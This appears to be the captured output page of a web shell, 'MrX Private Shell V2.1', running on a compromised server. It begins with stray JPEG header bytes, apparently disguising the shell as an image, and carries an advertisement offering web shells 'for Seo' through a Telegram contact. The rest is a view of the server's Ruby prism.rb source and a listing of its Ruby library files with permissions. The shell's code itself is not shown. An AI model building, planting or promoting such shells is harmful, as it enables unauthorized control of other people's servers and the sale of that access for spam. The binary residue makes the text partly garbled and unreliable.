����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
# :markup: markdown
# The Prism Ruby parser.
#
# "Parsing Ruby is suddenly manageable!"
# - You, hopefully
#
module Prism
# There are many files in prism that are templated to handle every node type,
# which means the files can end up being quite large. We autoload them to make
# our require speed faster since consuming libraries are unlikely to use all
# of these features.
autoload :BasicVisitor, "prism/visitor"
autoload :Compiler, "prism/compiler"
autoload :DesugarCompiler, "prism/desugar_compiler"
autoload :Dispatcher, "prism/dispatcher"
autoload :DotVisitor, "prism/dot_visitor"
autoload :DSL, "prism/dsl"
autoload :InspectVisitor, "prism/inspect_visitor"
autoload :LexCompat, "prism/lex_compat"
autoload :LexRipper, "prism/lex_ripper"
autoload :MutationCompiler, "prism/mutation_compiler"
autoload :Pack, "prism/pack"
autoload :Pattern, "prism/pattern"
autoload :Reflection, "prism/reflection"
autoload :Relocation, "prism/relocation"
autoload :Serialize, "prism/serialize"
autoload :StringQuery, "prism/string_query"
autoload :Translation, "prism/translation"
autoload :Visitor, "prism/visitor"
# Some of these constants are not meant to be exposed, so marking them as
# private here.
private_constant :LexCompat
private_constant :LexRipper
# Raised when requested to parse as the currently running Ruby version but Prism has no support for it.
class CurrentVersionError < ArgumentError
# Initialize a new exception for the given ruby version string.
def initialize(version)
message = +"invalid version: Requested to parse as `version: 'current'`; "
segments =
if version.match?(/\A\d+\.\d+.\d+\z/)
version.split(".").map(&:to_i)
end
if segments && ((segments[0] < 3) || (segments[0] == 3 && segments[1] < 3))
message << " #{version} is below the minimum supported syntax."
else
message << " #{version} is unknown. Please update the `prism` gem."
end
super(message)
end
end
# :call-seq:
# Prism::lex_compat(source, **options) -> LexCompat::Result
#
# Returns a parse result whose value is an array of tokens that closely
# resembles the return value of Ripper::lex. The main difference is that the
# `:on_sp` token is not emitted.
#
# For supported options, see Prism::parse.
def self.lex_compat(source, **options)
LexCompat.new(source, **options).result # steep:ignore
end
# :call-seq:
# Prism::lex_ripper(source) -> Array
#
# This lexes with the Ripper lex. It drops any space events but otherwise
# returns the same tokens. Raises SyntaxError if the syntax in source is
# invalid.
def self.lex_ripper(source)
LexRipper.new(source).result # steep:ignore
end
# :call-seq:
# Prism::load(source, serialized, freeze) -> ParseResult
#
# Load the serialized AST using the source as a reference into a tree.
def self.load(source, serialized, freeze = false)
Serialize.load_parse(source, serialized, freeze)
end
end
require_relative "prism/polyfill/byteindex"
require_relative "prism/polyfill/warn"
require_relative "prism/node"
require_relative "prism/node_ext"
require_relative "prism/parse_result"
# This is a Ruby implementation of the prism parser. If we're running on CRuby
# and we haven't explicitly set the PRISM_FFI_BACKEND environment variable, then
# it's going to require the built library. Otherwise, it's going to require a
# module that uses FFI to call into the library.
if RUBY_ENGINE == "ruby" and !ENV["PRISM_FFI_BACKEND"]
# The C extension is the default backend on CRuby.
Prism::BACKEND = :CEXT
require "prism/prism"
else
# The FFI backend is used on other Ruby implementations.
Prism::BACKEND = :FFI
require_relative "prism/ffi"
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bigdecimal | Folder | 0755 |
|
|
| cgi | Folder | 0755 |
|
|
| did_you_mean | Folder | 0755 |
|
|
| digest | Folder | 0755 |
|
|
| erb | Folder | 0755 |
|
|
| error_highlight | Folder | 0755 |
|
|
| forwardable | Folder | 0755 |
|
|
| io | Folder | 0755 |
|
|
| json | Folder | 0755 |
|
|
| net | Folder | 0755 |
|
|
| objspace | Folder | 0755 |
|
|
| open3 | Folder | 0755 |
|
|
| openssl | Folder | 0755 |
|
|
| optparse | Folder | 0755 |
|
|
| prism | Folder | 0755 |
|
|
| psych | Folder | 0755 |
|
|
| random | Folder | 0755 |
|
|
| ripper | Folder | 0755 |
|
|
| set | Folder | 0755 |
|
|
| strscan | Folder | 0755 |
|
|
| syntax_suggest | Folder | 0755 |
|
|
| unicode_normalize | Folder | 0755 |
|
|
| uri | Folder | 0755 |
|
|
| vendor_ruby | Folder | 0755 |
|
|
| yaml | Folder | 0755 |
|
|
| English.rb | File | 5.96 KB | 0644 |
|
| bundled_gems.rb | File | 8.41 KB | 0644 |
|
| cgi.rb | File | 311 B | 0644 |
|
| coverage.rb | File | 517 B | 0644 |
|
| date.rb | File | 1.17 KB | 0644 |
|
| delegate.rb | File | 11.96 KB | 0644 |
|
| did_you_mean.rb | File | 4.51 KB | 0644 |
|
| digest.rb | File | 3.3 KB | 0644 |
|
| erb.rb | File | 32.57 KB | 0644 |
|
| error_highlight.rb | File | 84 B | 0644 |
|
| expect.rb | File | 2.19 KB | 0644 |
|
| fileutils.rb | File | 79.18 KB | 0644 |
|
| find.rb | File | 2.54 KB | 0644 |
|
| forwardable.rb | File | 8.81 KB | 0644 |
|
| ipaddr.rb | File | 22.86 KB | 0644 |
|
| json.rb | File | 21.45 KB | 0644 |
|
| mkmf.rb | File | 93.16 KB | 0644 |
|
| monitor.rb | File | 6.97 KB | 0644 |
|
| objspace.rb | File | 4.14 KB | 0644 |
|
| open-uri.rb | File | 28.58 KB | 0644 |
|
| open3.rb | File | 47.51 KB | 0644 |
|
| openssl.rb | File | 1.24 KB | 0644 |
|
| optionparser.rb | File | 59 B | 0644 |
|
| optparse.rb | File | 65.44 KB | 0644 |
|
| pathname.rb | File | 2 KB | 0644 |
|
| pp.rb | File | 19.21 KB | 0644 |
|
| prettyprint.rb | File | 15.95 KB | 0644 |
|
| prism.rb | File | 3.74 KB | 0644 |
|
| psych.rb | File | 26.05 KB | 0644 |
|
| resolv.rb | File | 88.39 KB | 0644 |
|
| ripper.rb | File | 2.44 KB | 0644 |
|
| securerandom.rb | File | 2.28 KB | 0644 |
|
| shellwords.rb | File | 7.53 KB | 0644 |
|
| singleton.rb | File | 5.59 KB | 0644 |
|
| socket.rb | File | 61.26 KB | 0644 |
|
| syntax_suggest.rb | File | 74 B | 0644 |
|
| tempfile.rb | File | 20.7 KB | 0644 |
|
| time.rb | File | 24.01 KB | 0644 |
|
| timeout.rb | File | 10.48 KB | 0644 |
|
| tmpdir.rb | File | 5.62 KB | 0644 |
|
| tsort.rb | File | 14.36 KB | 0644 |
|
| un.rb | File | 11.17 KB | 0644 |
|
| uri.rb | File | 3.09 KB | 0644 |
|
| weakref.rb | File | 1.39 KB | 0644 |
|
| yaml.rb | File | 2.16 KB | 0644 |
|